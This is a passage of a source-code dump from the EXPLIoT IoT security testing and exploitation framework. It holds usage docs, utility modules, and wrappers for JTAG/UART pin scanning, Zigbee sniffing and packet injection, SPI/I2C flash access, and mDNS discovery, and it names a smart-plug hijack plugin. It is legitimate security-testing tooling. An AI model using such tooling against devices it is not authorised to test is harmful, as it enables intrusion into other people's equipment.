udp.kankun.hijack Kankun SmartPlug Hijacker 57 | 58 | Executing a plugin 59 | ------------------ 60 | 61 | The `run` command is responsible to execute a plugin. 62 | 63 | .. code-block:: console 64 | 65 | $ expliot run coap.generic.sample -h 66 | usage: coap.generic.sample [-h] -r RHOST [-p RPORT] [-v] 67 | 68 | Sample Description 69 | 70 | optional arguments: 71 | -h, --help show this help message and exit 72 | -r RHOST, --rhost RHOST 73 | IP address of the target 74 | -p RPORT, --rport RPORT 75 | Port number of the target. Default is 80 76 | -v, --verbose show verbose output 77 | -------------------------------------------------------------------------------- /docs/usage/intro.rst: -------------------------------------------------------------------------------- 1 | User Guide 2 | ========== 3 | 4 | Great! You have successfully installed EXPLIoT Framework. Now what? 5 | To use the framework as a tool you can run the command line utility 6 | ``expliot``. 7 | 8 | There are two ways to run ``expliot``: 9 | 10 | 11 | - :ref:`Command line mode ` 12 | - :ref:`Interactive mode ` 13 | 14 | You can use whatever mode suits your requirements. 15 | 16 | 17 | .. toctree:: 18 | :maxdepth: 1 19 | :glob: 20 | 21 | ** -------------------------------------------------------------------------------- /docs/usage/plugins.rst: -------------------------------------------------------------------------------- 1 | Plugins/Test cases 2 | ================== 3 | 4 | The framework consists of various plugins which are either exploits or for 5 | recon, analysis, etc. Each plugin executes a specific test case. These test 6 | cases are the basis of automation of security/regression testing for IoT 7 | products and infrastructure. The name of a plugin, as seen on the framework's 8 | console, is a *unique identifier* (ID) which identifies the plugin's 9 | capabilities and the target. 10 | 11 | Plugin IDs 12 | ---------- 13 | 14 | The plugins are identified and categorized using their IDs and have a specific 15 | format. The IDs are unique within the framework. They are comprised of three 16 | components. 17 | 18 | - Protocol or the technology it targets. 19 | - Product that it targets. 20 | - Name of the of the plugin itself that describes its action. 21 | 22 | The format of the ID is ``technology.product.plugin_name``. 23 | 24 | For example, the ID of the BLE scanner plugin is ``ble.generic.scan``. Since it 25 | is a generic BLE scanner and not specific to any BLE product, the product 26 | component of the ID is *generic*. 27 | -------------------------------------------------------------------------------- /expliot/__init__.py: -------------------------------------------------------------------------------- 1 | """Main part of EXPLIoT.""" 2 | -------------------------------------------------------------------------------- /expliot/constants.py: -------------------------------------------------------------------------------- 1 | """Constants for EXPLIoT.""" 2 | MAJOR_VERSION = 0 3 | MINOR_VERSION = 9 4 | PATCH_VERSION = 8 5 | 6 | __short_version__ = "{}.{}".format(MAJOR_VERSION, MINOR_VERSION) 7 | __version__ = "{}.{}".format(__short_version__, PATCH_VERSION) 8 | 9 | VERSION_NAME = "agni" 10 | 11 | DESCRIPTION = "IoT Security Testing and Exploitation Framework" 12 | DOCS = "https://expliot.readthedocs.io" 13 | NAME = "EXPLIoT" 14 | URL = "https://www.expliot.io" 15 | BANNER_ART = r""" 16 | 17 | ____| \ / __ \ | __ __| __ __| 18 | | \ / | | | | __ \ | 19 | __| ( ___/ | | / \ | 20 | | / \ | | | \ / | 21 | ______| _/ _\ _| ______| ______| ____/ _| 22 | 23 | """ 24 | # 25 | # Used till 0.9.0 26 | # BANNER_ART = """ __ __ _ _ _ 27 | # \\ \\ / / | (_) | | 28 | # ___ \\ V / _ __ | |_ ___ | |_ 29 | # / _ \\/ \\| '_ \\| | |/ _ \\| __| 30 | # | __/ /^\\ \\ |_) | | | (_) | |_ 31 | # \\___\\/ \\/ .__/|_|_|\\___/ \\__| 32 | # | | 33 | # |_| 34 | # """ 35 | 36 | BANNER = """{banner_art}\n{description}\n{version}\n{url}\n{docs}\n\n{by}""".format( 37 | banner_art=BANNER_ART.center(100), 38 | version="Version: {} - {}".format(__version__, VERSION_NAME).center(80), 39 | url="Web: {}".format(URL).center(80), 40 | docs="Documentation: {}".format(DOCS).center(80), 41 | description=DESCRIPTION.center(80), 42 | by="by the {} developers".format(NAME).center(80), 43 | ) 44 | -------------------------------------------------------------------------------- /expliot/core/__init__.py: -------------------------------------------------------------------------------- 1 | """User interface for EXPLIoT.""" 2 | -------------------------------------------------------------------------------- /expliot/core/common/__init__.py: -------------------------------------------------------------------------------- 1 | """Common helpers for EXPLIoT.""" 2 | 3 | 4 | def bstr(byts): 5 | """ 6 | Converts a bytes or a bytearray object to a str (string) preserving the 7 | binary data as is. 8 | 9 | Args: 10 | byts(bytes or bytearray): A bytes/bytearray object that needs to be 11 | converted to binary string. 12 | Returns: 13 | str: The converted string that preserves the binary data as is. 14 | """ 15 | if byts.__class__ == bytes or byts.__class__ == bytearray: 16 | return "".join([chr(i) for i in byts]) 17 | raise TypeError("bytes or bytearray object expected, but passed {}".format( 18 | byts.__class__.__name__) 19 | ) 20 | 21 | 22 | def recurse_list_dict(obj, callback, cbdata, rlevel=0): 23 | """ 24 | Iterate through a list or a dict recursively and call the callback method 25 | at three places while iterating: 26 | 1. If the object is a dict, for each key, value pair 27 | 1. If the value is a dict or a list - callback() 28 | 2. If the value is not a dict or a list i.e. a leaf - callback() 29 | 2. If the object is a list, for each value 30 | 1. If the value is not a dict or a list i.e. a leaf - callback() 31 | 32 | Args: 33 | obj (list or dict): The list or dict object that has to be recursively iterated. 34 | callback (method): The callback method that has to be called. 35 | cbdata (opaque): This is passed to the callback and is opaque for this method 36 | rlevel (int): Recursion level of the method. Call MUST NOT pass any value to this 37 | as it is initialized to zero by default. 38 | 39 | Returns: 40 | Nothing 41 | 42 | Callback method prototype: 43 | def mycallback(cbdata, robj, rlevel, key=None, value=None): 44 | 45 | Args: 46 | cbdata (defined by callback): This callback method's specific data. 47 | robj (list or dict): The list or dict object at the specified recursion level. 48 | This object may be updated by the callback, which means 49 | the original obj passed to recurse_list_dict() will be 50 | eventually updated. 51 | rlevel (int): The current recursion level at which this callback instance is called. 52 | key (str): The key if the robj is a dict. 53 | value (can be any type): 1. The value of the key if robj is a dict or 54 | 2. A value from the robj if it is a list 55 | Returns: 56 | Nothing 57 | """ 58 | if obj.__class__ == dict: 59 | for key, value in obj.items(): 60 | if (value.__class__ == dict) or (value.__class__ == list): 61 | callback(cbdata, obj, rlevel, key=key, value=value) 62 | recurse_list_dict(value, callback, cbdata, rlevel=(rlevel + 1)) 63 | else: 64 | callback(cbdata, obj, rlevel, key=key, value=value) 65 | elif obj.__class__ == list: 66 | for value in obj: 67 | if (value.__class__ == dict) or (value.__class__ == list): 68 | recurse_list_dict(value, callback, cbdata, rlevel=(rlevel + 1)) 69 | else: 70 | callback(cbdata, obj, rlevel, value=value) 71 | -------------------------------------------------------------------------------- /expliot/core/common/exceptions.py: -------------------------------------------------------------------------------- 1 | """Exception handling for EXPLIoT.""" 2 | from sys import exc_info 3 | 4 | 5 | def sysexcinfo(): 6 | """"Return the systems's exception.""" 7 | return "{}:{}".format(exc_info()[0].__name__, exc_info()[1]) 8 | -------------------------------------------------------------------------------- /expliot/core/common/fileutils.py: -------------------------------------------------------------------------------- 1 | """Helper for handling files.""" 2 | 3 | 4 | def readlines(file): 5 | """ 6 | Helper method for reading one line at a time from a file and yielding it 7 | for loops. The file is closed automatically even if the caller exits the 8 | loop early (break, exception, etc). 9 | 10 | :param file: The file to read data from. 11 | :return: yield a line in a loop 12 | """ 13 | with open(file) as input_file: 14 | for line in input_file: 15 | yield line.rstrip() 16 | 17 | 18 | def readlines_both(file1, file2): 19 | """ 20 | Helper method for reading one line at a time from two files and yielding 21 | them for loops. For each line in file1 it will also loop through all lines 22 | of file2. Total no. of yields is lines in file1 x lines in file2. 23 | The files are closed automatically even if the caller exits the loop early 24 | (break, exception, etc). 25 | 26 | :param file1: The first file to read data from 27 | :param file2: The second file to read data from 28 | :return: 29 | """ 30 | with open(file1) as input_file1: 31 | for line1 in input_file1: 32 | with open(file2) as input_file2: 33 | for line2 in input_file2: 34 | yield line1.rstrip(), line2.rstrip() 35 | -------------------------------------------------------------------------------- /expliot/core/common/pcapdlt.py: -------------------------------------------------------------------------------- 1 | """PCAP Data-link level type codes.""" 2 | 3 | PACP_DLT_PPI = 192 4 | PCAP_DLT_IEEE802_15_4 = 195 5 | -------------------------------------------------------------------------------- /expliot/core/common/timer.py: -------------------------------------------------------------------------------- 1 | """Timer utility class.""" 2 | import time 3 | 4 | 5 | class Timer: 6 | """Timer class to support time out.""" 7 | 8 | def __init__(self, timeout=1): 9 | """Create Timer. 10 | 11 | :param timeout: Time out in seconds 12 | """ 13 | self.__set_timeout(timeout) 14 | 15 | # Getter method 16 | def __get_timeout(self): 17 | """Return Timeout.""" 18 | return self.__timeout 19 | 20 | # Setter method 21 | def __set_timeout(self, timeout=1): 22 | """Set current time, and timeout.""" 23 | self.__start_time = time.time() 24 | self.__timeout = timeout 25 | 26 | # Check Timeout 27 | def is_timeout(self): 28 | """Return true if time out.""" 29 | return time.time() - self.__start_time > self.__timeout 30 | 31 | timeout = property(__get_timeout, __set_timeout) 32 | -------------------------------------------------------------------------------- /expliot/core/discovery/__init__.py: -------------------------------------------------------------------------------- 1 | """Discovery support for EXPLIoT.""" 2 | 3 | 4 | class Discovery: 5 | """Representation of a discovery entity.""" 6 | 7 | def __init__(self): 8 | """Initialize the discovery.""" 9 | pass 10 | 11 | def devices(self): 12 | """ 13 | Return the found devices. This should be called after scan() 14 | 15 | Args: 16 | Nothing 17 | Returns: 18 | list: List of all devices discovered in scan() 19 | """ 20 | raise NotImplementedError 21 | 22 | def services(self): 23 | """ 24 | Return the found services. This should be called after scan() 25 | 26 | Args: 27 | Nothing 28 | Returns: 29 | list: List of all devices discovered in scan()""" 30 | raise NotImplementedError 31 | 32 | def scan(self): 33 | """ 34 | Scan for devices or services depending on the Discovery type 35 | 36 | Args: 37 | Nothing 38 | Returns: 39 | Nothing 40 | 41 | """ 42 | raise NotImplementedError 43 | -------------------------------------------------------------------------------- /expliot/core/interfaces/__init__.py: -------------------------------------------------------------------------------- 1 | """Physical interfaces for EXPLIoT.""" 2 | -------------------------------------------------------------------------------- /expliot/core/interfaces/busauditor/__init__.py: -------------------------------------------------------------------------------- 1 | """Wrapper for BusAuditor interface.""" 2 | 3 | from expliot.core.interfaces.busauditor.stm32f411 import STM32F411 4 | 5 | 6 | class BusAuditor: 7 | """BusAuditor interface class.""" 8 | 9 | def __init__(self): 10 | """ 11 | Constructor: BusAuditor interface for STM32F411 USB driver. 12 | 13 | Args: 14 | Nothing 15 | Returns: 16 | Nothing 17 | Raises: 18 | Nothing 19 | """ 20 | 21 | self.driver = None 22 | 23 | # Read driver 24 | self.driver = STM32F411() 25 | 26 | def get_interface_info(self): 27 | """ 28 | Returns Device information in dictionary format. 29 | 30 | Args: 31 | Nothing 32 | 33 | Return: 34 | dict: The dict containing Device Name, FW, HW Revision, Services 35 | 36 | Raises: 37 | Nothing 38 | """ 39 | 40 | if self.driver is not None: 41 | dev_info = dict() 42 | dev_info["device_name"] = self.driver.get_device_name() 43 | dev_info["serial_number"] = self.driver.get_device_serial_num() 44 | dev_info["fw_revision"] = self.driver.get_device_fw_rev_str() 45 | dev_info["hw_revision"] = self.driver.get_device_hw_rev_str() 46 | dev_info["services"] = self.driver.get_supported_services() 47 | return dev_info 48 | 49 | def jtag_scan(self, start, end, volts, include_trst=False): 50 | """ 51 | Call BusAuditor driver to scan JTAG port pins using IDCODE 52 | and pattern scan. 53 | 54 | Args: 55 | start (int): First pin (channel number) to start the scan 56 | stop (int): Last pin (channel number) to stop the scan 57 | volts (str): Target voltage out 58 | include_trst (boolean): Include TRST pin in scan. 59 | TRST pin excluded by default 60 | 61 | Return: 62 | list: The list of dict containing JTAG ID and pin info 63 | 64 | Raises: 65 | Nothing 66 | """ 67 | 68 | return self.driver.device_jtag_scan(start, end, volts, include_trst) 69 | 70 | def swd_scan(self, start, end, volts): 71 | """ 72 | Returns SWD IDCODE scan result in dictionary format. 73 | 74 | Args: 75 | start (int): First pin (channel number) to start the scan 76 | stop (int): Last pin (channel number) to stop the scan 77 | volts (str): Target voltage out 78 | 79 | Return: 80 | list: The list of dict containing SWD ID and pin info 81 | 82 | Raises: 83 | Nothing 84 | """ 85 | 86 | return self.driver.device_swd_scan(start, end, volts) 87 | 88 | def uart_scan(self, start, end, volts): 89 | """ 90 | Returns UART Rx, Tx and baudrate scan result in dictionary format. 91 | 92 | Args: 93 | start (int): First pin (channel number) to start the scan 94 | stop (int): Last pin (channel number) to stop the scan 95 | volts (str): Target voltage out 96 | 97 | Return: 98 | list: The list of dict containing UART baudrate and pin info 99 | 100 | Raises: 101 | Nothing 102 | """ 103 | 104 | return self.driver.device_uart_scan(start, end, volts) 105 | 106 | def i2c_scan(self, start, end, volts): 107 | """ 108 | Returns I2C device addr, and pin scan result in dictionary format. 109 | 110 | Args: 111 | start (int): First pin (channel number) to start the scan 112 | stop (int): Last pin (channel number) to stop the scan 113 | volts (str): Target voltage out 114 | 115 | Return: 116 | list: The list of dict containing I2C device addr and pin info 117 | Raises: 118 | Nothing 119 | """ 120 | 121 | return self.driver.device_i2c_scan(start, end, volts) 122 | 123 | def close(self): 124 | """ 125 | Close USB port of BUS Auditor. 126 | 127 | Args: 128 | Nothing 129 | Retrun: 130 | Nothing 131 | Raises: 132 | Nothing 133 | """ 134 | 135 | if self.driver: 136 | return self.driver.close() 137 | -------------------------------------------------------------------------------- /expliot/core/interfaces/common_services.py: -------------------------------------------------------------------------------- 1 | """Class support for common service and auditor specific services""" 2 | 3 | 4 | class Services: 5 | """Base class for Services.""" 6 | 7 | def __init__(self): 8 | """Init Base and device specific services.""" 9 | 10 | self.base_services = {} 11 | self.device_services = {} 12 | 13 | def get_supported_services(self): 14 | """Returns Base Service Supported by device. 15 | 16 | :return: Dictionary of Base Services 17 | """ 18 | 19 | services = dict() 20 | services.update(self.base_services) 21 | services.update(self.device_services) 22 | return services 23 | 24 | def get_supported_base_services(self): 25 | """Returns Base Service Supported by device. 26 | 27 | :return: Dictionary of Base Services 28 | """ 29 | 30 | return self.base_services 31 | 32 | def get_supported_device_services(self): 33 | """Returns Base Service Supported by device. 34 | 35 | :return: Dictionary of Base Services 36 | """ 37 | 38 | return self.device_services 39 | 40 | def set_base_serivce(self, service, value): 41 | """Set base service true if device supports it. 42 | 43 | :param service: service from services dictionary 44 | :param value: Ture or False 45 | """ 46 | 47 | self.base_services[service] = value 48 | 49 | def set_device_serivce(self, service, value): 50 | """Set device service true if device supports it. 51 | 52 | :param service: service from services dictionary 53 | :param value: Ture or False 54 | """ 55 | 56 | self.device_services[service] = value 57 | 58 | def is_service_active(self, service): 59 | """Validate device supports service or not. 60 | 61 | :param service: service from services dictionary 62 | :return: True if service is available in device else False 63 | """ 64 | if self.device_services[service]: 65 | return True 66 | 67 | return False 68 | 69 | 70 | class BaseServices(Services): 71 | """Class to store Base Services.""" 72 | 73 | GET_FW_REV = "read_revision" 74 | GET_FW_SERV = "read_services" 75 | 76 | def __init__(self): 77 | """Init Base Services to default.""" 78 | 79 | super().__init__() 80 | 81 | self.base_services = { 82 | self.GET_FW_REV: False, 83 | self.GET_FW_SERV: False, 84 | } 85 | 86 | 87 | class ZbAuditorServices(BaseServices): 88 | """Class to Zigbee Auditor's Services.""" 89 | 90 | SET_MAC_POWER = "radio_on_off" 91 | SET_CH_CHNG = "channel_selection" 92 | RAW_CAPTURE = "802.15.4_sniffer" 93 | RAW_INJECT = "802.15.4_injection" 94 | NWK_SCAN = "802.15.4_network_scan" 95 | SUPP_FREQ_2400 = "2400_mhz" 96 | SUPP_FREQ_784 = "784_mhz" 97 | SUPP_FREQ_868 = "868_mhz" 98 | SUPP_FREQ_915 = "915_mhz" 99 | 100 | def __init__(self): 101 | """Init Zigbee Auditor services to default.""" 102 | 103 | super().__init__() 104 | 105 | self.device_services = { 106 | self.SET_CH_CHNG: False, 107 | self.SET_MAC_POWER: False, 108 | self.RAW_CAPTURE: False, 109 | self.RAW_INJECT: False, 110 | self.NWK_SCAN: False, 111 | self.SUPP_FREQ_2400: False 112 | } 113 | 114 | 115 | class BusAuditorServices(BaseServices): 116 | """Class to store BusAuditor's Services.""" 117 | 118 | JTAG_SCAN = "jtag_port_scan" 119 | SWD_SCAN = "swd_port_scan" 120 | UART_SCAN = "uart_port_scan" 121 | I2C_SCAN = "i2c_bus_scan" 122 | 123 | def __init__(self): 124 | """Init BusAuditor services to default.""" 125 | 126 | super().__init__() 127 | 128 | self.device_services = { 129 | self.JTAG_SCAN: False, 130 | self.SWD_SCAN: False, 131 | self.UART_SCAN: False, 132 | self.I2C_SCAN: False, 133 | } 134 | -------------------------------------------------------------------------------- /expliot/core/interfaces/ftdi/__init__.py: -------------------------------------------------------------------------------- 1 | """Wrapper for FDTI.""" 2 | # pylint: disable=protected-access 3 | from logging import ERROR, getLogger 4 | 5 | from spiflash.serialflash import SerialFlashManager 6 | from i2cflash.serialeeprom import SerialEepromManager 7 | from pyftdi.i2c import I2cController, I2cNackError 8 | 9 | DEFAULT_FTDI_URL = "ftdi:///1" 10 | 11 | getLogger("pyftdi.i2c").setLevel(ERROR) 12 | 13 | 14 | class SpiFlashManager(SerialFlashManager): 15 | """A wrapper around pyspiflash SerialFlashManager. 16 | 17 | More details can be found at https://github.com/eblot/pyspiflash 18 | 19 | Calls terminate() on the SpiController to close the FTDI device. As of 20 | now there is no close or terminate method provided in pyspiflash. 21 | 22 | TODO: Remove me when pyspiflash implements one. 23 | """ 24 | 25 | @staticmethod 26 | def close(device): 27 | """Close connection to device.""" 28 | if device: 29 | device._spi._controller.terminate() 30 | 31 | 32 | class I2cEepromManager(SerialEepromManager): 33 | """A wrapper around pyi2cflash SerialEepromManager. 34 | 35 | More details can be found at https://github.com/eblot/pyi2cflash 36 | 37 | Calls terminate() on the I2cController to close the FTDI device. As of 38 | now there is no close or terminate method provided in pyi2cflash. 39 | 40 | TODO: Remove me when pyspiflash implements one. 41 | """ 42 | 43 | @staticmethod 44 | def close(device): 45 | """Close connection to device""" 46 | if device: 47 | device._slave._controller.terminate() 48 | -------------------------------------------------------------------------------- /expliot/core/interfaces/zbauditor/__init__.py: -------------------------------------------------------------------------------- 1 | """Wrapper for ZbAuditor interface.""" 2 | from expliot.core.interfaces.zbauditor.nrf52840 import NRF52840 3 | 4 | 5 | class ZbAuditor: 6 | """Zigbee Auditor Class.""" 7 | 8 | def __init__(self): 9 | """Get NRF52840 driver instance.""" 10 | self.driver = None 11 | 12 | # Read NRF52840 driver 13 | self.driver = NRF52840() 14 | 15 | def get_interface_info(self): 16 | """Return Device information in dictionary format. 17 | 18 | :return: Dictionary of Device Name, FW Revision, Services 19 | """ 20 | if self.driver is not None: 21 | name = self.driver.get_device_name() 22 | fw_rev = self.driver.get_device_fw_rev_str() 23 | services = self.driver.get_supported_services() 24 | serial = self.driver.get_device_serial_num() 25 | dev_info = dict() 26 | dev_info["device_name"] = name 27 | dev_info["fw_revision"] = fw_rev 28 | dev_info["serial_number"] = serial 29 | dev_info["services"] = services 30 | return dev_info 31 | 32 | def set_channel(self, channel, page=0): 33 | """Validate and Set Channel to Device.""" 34 | self.driver.device_set_channel(channel, page) 35 | 36 | def get_channel(self): 37 | """Return Channel from Device.""" 38 | pass 39 | 40 | def get_radio_on_flag(self): 41 | """Return status of radio_on flag.""" 42 | return self.driver.get_radio_on_flag() 43 | 44 | def set_radio_on_flag(self, flag): 45 | """Set radio_on flag.""" 46 | self.driver.set_radio_on_flag(flag) 47 | 48 | def get_sniffer_on_flag(self): 49 | """Return status of sniffer_on flag.""" 50 | self.driver.get_sniffer_on_flag() 51 | 52 | def set_sniffer_on_flag(self, flag): 53 | """Set sniffer_on flag.""" 54 | self.driver.set_sniffer_on_flag(flag) 55 | 56 | def radio_on(self): 57 | """Turn on device radio.""" 58 | self.driver.device_radio_on() 59 | 60 | def sniffer_on(self, channel, page=0): 61 | """Turn on device sniffer service.""" 62 | 63 | self.driver.device_sniffer_on(channel, page) 64 | 65 | def packet_read(self, timeout=100): 66 | """Read data from device.""" 67 | 68 | return self.driver.device_read(timeout) 69 | 70 | def radio_off(self): 71 | """Turn off device radio.""" 72 | 73 | self.driver.device_radio_off() 74 | 75 | def sniffer_off(self): 76 | """Turn off device sniffer service.""" 77 | self.driver.device_sniffer_off() 78 | 79 | def inject_packet(self, packet): 80 | """Inject packet to Device.""" 81 | 82 | self.driver.device_inject_packet(packet) 83 | 84 | def scan_zb_network(self, mask): 85 | """Set Device in network scan mode. 86 | 87 | Additionally it return network scan result as dictionary. 88 | """ 89 | return self.driver.device_scan_zigbee_network(mask) 90 | 91 | def get_rxcount(self): 92 | """Return packet receive count from driver. 93 | 94 | :return: rx count 95 | """ 96 | return self.driver.rxcount 97 | 98 | def get_txcount(self): 99 | """Return packet transmit count from driver. 100 | 101 | :return: tx count 102 | """ 103 | return self.driver.txcount 104 | 105 | def __del__(self): 106 | """Close the driver.""" 107 | if self.driver: 108 | self.driver.close() 109 | -------------------------------------------------------------------------------- /expliot/core/protocols/__init__.py: -------------------------------------------------------------------------------- 1 | """Communication protocols for EXPLIoT.""" 2 | -------------------------------------------------------------------------------- /expliot/core/protocols/hardware/__init__.py: -------------------------------------------------------------------------------- 1 | """Hardware integrations for EXPLIoT.""" 2 | -------------------------------------------------------------------------------- /expliot/core/protocols/hardware/can/__init__.py: -------------------------------------------------------------------------------- 1 | """Wrapper for CANbus communication.""" 2 | from can.interface import Bus 3 | from can import Message 4 | 5 | 6 | class CanBus(Bus): 7 | """A simple wrapper around python-can Bus class.""" 8 | 9 | pass 10 | 11 | 12 | class CanMessage(Message): 13 | """A simple wrapper around python-can Message class.""" 14 | 15 | pass 16 | -------------------------------------------------------------------------------- /expliot/core/protocols/hardware/i2c/__init__.py: -------------------------------------------------------------------------------- 1 | """Wrapper for the i2c communication.""" 2 | 3 | from expliot.core.interfaces.ftdi import \ 4 | I2cEepromManager, I2cController, I2cNackError 5 | -------------------------------------------------------------------------------- /expliot/core/protocols/hardware/serial/__init__.py: -------------------------------------------------------------------------------- 1 | """Wrapper for the serial interface.""" 2 | # pylint: disable=too-many-ancestors 3 | from serial import Serial as Pserial 4 | 5 | 6 | class Serial(Pserial): 7 | """A wrapper around pyserial's Serial class.""" 8 | 9 | def readfull(self, bsize=1): 10 | """ 11 | Read from the serial device, bsize at a time and return the complete 12 | response. 13 | Please note if timeout is not set for the Serial object, then this 14 | method will block (on read). 15 | 16 | :param bsize: Size of buffer to pass to read() method 17 | :return: bytes containing the complete response from the serial device 18 | """ 19 | read_data = b"" 20 | while True: 21 | reading = self.read(bsize) 22 | if not reading: 23 | break 24 | read_data += reading 25 | self.flush() 26 | return read_data 27 | -------------------------------------------------------------------------------- /expliot/core/protocols/hardware/spi/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for SPI.""" 2 | 3 | from expliot.core.interfaces.ftdi import SpiFlashManager 4 | -------------------------------------------------------------------------------- /expliot/core/protocols/internet/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for various protocols usually used in public networks.""" 2 | -------------------------------------------------------------------------------- /expliot/core/protocols/internet/dicom/__init__.py: -------------------------------------------------------------------------------- 1 | """Wrapper for the DICOM integration.""" 2 | from pydicom import dcmread 3 | from pydicom.dataset import Dataset as DS 4 | from pynetdicom import ( 5 | AE as AppEntity, BasicWorklistManagementPresentationContexts, 6 | QueryRetrievePresentationContexts, StoragePresentationContexts, 7 | VerificationPresentationContexts 8 | ) 9 | 10 | # pylint is not able to find the below imports, because they are 11 | # generated at run-time and stored in globals(), we should change 12 | # this i.e. remove pylint disable if there is any other way to 13 | # tell pylint that it is run-time. 14 | 15 | # pylint: disable=no-name-in-module 16 | from pynetdicom.sop_class import ( 17 | ModalityWorklistInformationFind, 18 | PatientRootQueryRetrieveInformationModelFind, 19 | StudyRootQueryRetrieveInformationModelFind, 20 | PatientStudyOnlyQueryRetrieveInformationModelFind, 21 | ) 22 | 23 | 24 | class AE(AppEntity): 25 | """Wrapper for the DICOM app entity.""" 26 | pass 27 | 28 | 29 | class Dataset(DS): 30 | """Wrapper for the DICOM dataset.""" 31 | pass 32 | -------------------------------------------------------------------------------- /expliot/core/protocols/internet/mdns/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for discovery on the local network with mDNS.""" 2 | from collections import namedtuple 3 | import ipaddress 4 | import time 5 | 6 | from zeroconf import ServiceBrowser, Zeroconf 7 | 8 | from expliot.core.discovery import Discovery 9 | from expliot.core.protocols.internet.mdns.constants import MDNS_SERVICE_TYPES 10 | 11 | 12 | DEFAULT_MDNS_TIMEOUT = 1.0 13 | 14 | DeviceDetails = namedtuple( 15 | "DeviceDetails", 16 | ["name", "type", "address", "port", "weight", "priority", "server", "properties"], 17 | ) 18 | 19 | 20 | class MdnsListener: 21 | """Listener for the detection of zero-configuration devices.""" 22 | 23 | def __init__(self): 24 | """Initialize the listener.""" 25 | self.data = [] 26 | 27 | def remove_service(self, zeroconf, service_type, name): 28 | """ 29 | Callback to remove a service from the Listener. 30 | No action if a device is disappearing. 31 | 32 | Args: 33 | zeroconf(Zeroconf): The Zeroconf Object that has the scanning data. 34 | service_type(str): The device service type to be removed. 35 | name(str): The device name to be removed. 36 | Returns: 37 | Nothing 38 | """ 39 | pass 40 | 41 | def add_service(self, zeroconf, service_type, name): 42 | """ 43 | Callback to add the service found, in the listener. 44 | 45 | Args: 46 | zeroconf(Zeroconf): The Zeroconf Object that has the scanning data. 47 | service_type(str): The device service type. 48 | name(str): The device name. 49 | Returns: 50 | Nothing 51 | """ 52 | info = zeroconf.get_service_info(service_type, name) 53 | if info is not None: 54 | self.data.append(info) 55 | 56 | def get_data(self): 57 | """ 58 | Return all collected announcements. 59 | 60 | Returns (list): 61 | List of the found devices. 62 | """ 63 | return self.data 64 | 65 | 66 | class MdnsDiscovery(Discovery): 67 | """Discover local mDNS devices.""" 68 | 69 | # pylint: disable=super-init-not-called 70 | def __init__(self, service_type, scan_timeout=1): 71 | """ 72 | Initialize the mDNS discovery. 73 | 74 | Args: 75 | service_type(str): Type of service, from the supported ones, to search for. 76 | scan_timeout(float): Timeout in seconds for each scan(). It is basically 77 | sleep() time 78 | Returns: 79 | Nothing 80 | """ 81 | self._service_type = MDNS_SERVICE_TYPES[service_type] 82 | self.device_list = [] 83 | self.scan_timeout = scan_timeout 84 | 85 | def devices(self): 86 | """ 87 | Returns the found devices. 88 | 89 | Returns: 90 | list: List of devices found 91 | """ 92 | return self.device_list 93 | 94 | def scan(self): 95 | """Scan the network for devices.""" 96 | 97 | zeroconf = Zeroconf() 98 | listener = MdnsListener() 99 | ServiceBrowser(zeroconf, self._service_type, listener) 100 | time.sleep(self.scan_timeout) 101 | for info in listener.get_data(): 102 | data = { 103 | "name": info.name, 104 | "type": info.type, 105 | "address": str(ipaddress.IPv4Address(info.addresses[0])), 106 | "port": info.port, 107 | "weight": info.weight, 108 | "priority": info.priority, 109 | "server": info.server, 110 | "properties": info.properties, 111 | } 112 | self.device_list.append(DeviceDetails(**data)) 113 | zeroconf.close() 114 | -------------------------------------------------------------------------------- /expliot/core/protocols/internet/mdns/constants.py: -------------------------------------------------------------------------------- 1 | """Constants for the mDNS discovery.""" 2 | MDNS_SERVICE_TYPES = { 3 | "aidroid": "_airdroid._tcp.local.", 4 | "aiplay": "_airplay._tcp.local.", 5 | "airport": "_airport._tcp.local.", 6 | "amzn_wplay": "_amzn-wplay._tcp.local.", 7 | "android_tv_remote": "_androidtvremote._tcp.local.", 8 | "apple_tv": "_appletv-v2._tcp.local.", 9 | "arduino": "_arduino._tcp.local.", 10 | "axis_video": "_axis-video._tcp.local.", 11 | "brew_pi": "_brewpi._tcp.local.", 12 | "cloud": "_cloud._tcp.local.", 13 | "coap": "_coap._udp.local.", 14 | "daap": "_daap._tcp.local.", 15 | "defused_vision": "_defusedivision._tcp.local.", 16 | "e2stream": "_e2stream._tcp.local.", 17 | "eppc": "_eppc._tcp.local.", 18 | "esdevice": "_esdevice._tcp.local.", 19 | "esfile_share": "_esfileshare._tcp.local.", 20 | "esphome": "_esphomelib._tcp.local.", 21 | "fbx_api": "_fbx-api._tcp.local.", 22 | "ftp": "_ftp._tcp.local.", 23 | "google_cast": "_googlecast._tcp.local.", 24 | "google_zone": "_googlezone._tcp.local.", 25 | "hap": "_hap._tcp.local.", 26 | "home_assistant": "_home-assistant._tcp.local.", 27 | "home_sharing": "_home-sharing._tcp.local.", 28 | "homekit": "_homekit._tcp.local.", 29 | "http": "_http._tcp.local.", 30 | "ipp": "_ipp._tcp.local.", 31 | "ipps": "_ipps._tcp.local.", 32 | "json_gate": "_jsongate._tcp.local.", 33 | "lg_smart_device": "_lg-smart-device._tcp.local.", 34 | "lutron": "_lutron._tcp.local.", 35 | "media_remote_tv": "_mediaremotetv._tcp.local.", 36 | "miio": "_miio._udp.local.", 37 | "musc": "_musc._tcp.local.", 38 | "nanoleaf": "_nanoleafapi._tcp.local.", 39 | "nfs": "_nfs._tcp.local.", 40 | "octoprint": "_octoprint._tcp.local.", 41 | "physical_web": "_physicalweb._tcp.local.", 42 | "printer": "_printer._tcp.local.", 43 | "ready_nas": "_readynas._tcp.local.", 44 | "rsp": "_rsp._tcp.local.", 45 | "sftp": "_sftp-ssh._tcp.local.", 46 | "smb": "_smb._tcp.local.", 47 | "soundtouch": "_soundtouch._tcp.local.", 48 | "spotify_connect": "_spotify-connect._tcp.local.", 49 | "ssh": "_ssh._tcp.local.", 50 | "teamviewer": "_teamviewer._tcp.local.", 51 | "telnet": "_telnet._tcp.local.", 52 | "tivo_remote": "_tivo-remote._tcp.local.", 53 | "touh_able": "_touch-able._tcp.local.", 54 | "tunnel": "_tunnel._tcp.local.", 55 | "ultimaker": "_ultimaker._tcp.local.", 56 | "workstation": "_workstation._tcp.local.", 57 | } 58 | -------------------------------------------------------------------------------- /expliot/core/protocols/internet/modbus/__init__.py: -------------------------------------------------------------------------------- 1 | """Wrapper for the Modbus integration.""" 2 | from pymodbus.client.sync import ModbusTcpClient as MBTClient 3 | 4 | 5 | class 